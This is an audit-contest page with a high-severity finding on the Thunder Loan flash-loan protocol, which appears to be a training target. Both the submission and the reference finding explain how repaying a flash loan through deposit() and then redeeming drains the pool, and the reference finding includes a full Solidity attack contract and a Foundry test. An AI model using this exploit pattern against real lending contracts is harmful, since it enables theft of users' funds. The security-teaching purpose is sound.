Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash loan can be repaid via `deposit` instead of `repay`, letting an attacker mint AssetTokens and redeem to drain funds

Description

flashloan only verifies repayment by checking that the AssetToken's token balance did not decrease (plus fee):

uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
...
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(abi.encodeWithSignature("executeOperation(...)", ...));
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) { // @> only checks the balance went back up
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}

It does not require the borrower to use repay. The attacker's executeOperation can instead call ThunderLoan::deposit(token, amount), which also moves amount into the AssetToken (satisfying the balance check) but additionally mints the attacker AssetTokens. The flash loan then passes, and the attacker calls redeem to pull the underlying back out — keeping the borrowed funds.

function deposit(IERC20 token, uint256 amount) external ... {
...
assetToken.mint(msg.sender, mintAmount); // @> attacker gets AssetTokens
token.safeTransferFrom(msg.sender, address(assetToken), amount); // @> satisfies flashloan balance check
}

Risk

Likelihood: High

  • Any attacker can deploy a receiver contract and take a flash loan; no special privilege. The exploit is fully permissionless.

Impact: High

  • The attacker repays the loan via deposit (not repay), receives AssetTokens for "depositing" the borrowed funds, then redeems them — draining the pool of the borrowed amount. Direct theft of all protocol liquidity.

Proof of Concept

// Attacker receiver.executeOperation:
// IERC20(token).approve(thunderLoan, amount + fee);
// thunderLoan.deposit(token, amount); // repays via deposit, mints attacker AssetTokens
// flashloan balance check passes (endingBalance >= startingBalance + fee).
// Then, after the flash loan:
// thunderLoan.redeem(token, type(uint256).max); // pulls the underlying back out -> funds stolen

Recommended Mitigation

Block deposits during an active flash loan and require repayment through repay only:

function deposit(IERC20 token, uint256 amount) external ... {
if (s_currentlyFlashLoaning[token]) revert ThunderLoan__CurrentlyFlashLoaning();
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 7 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

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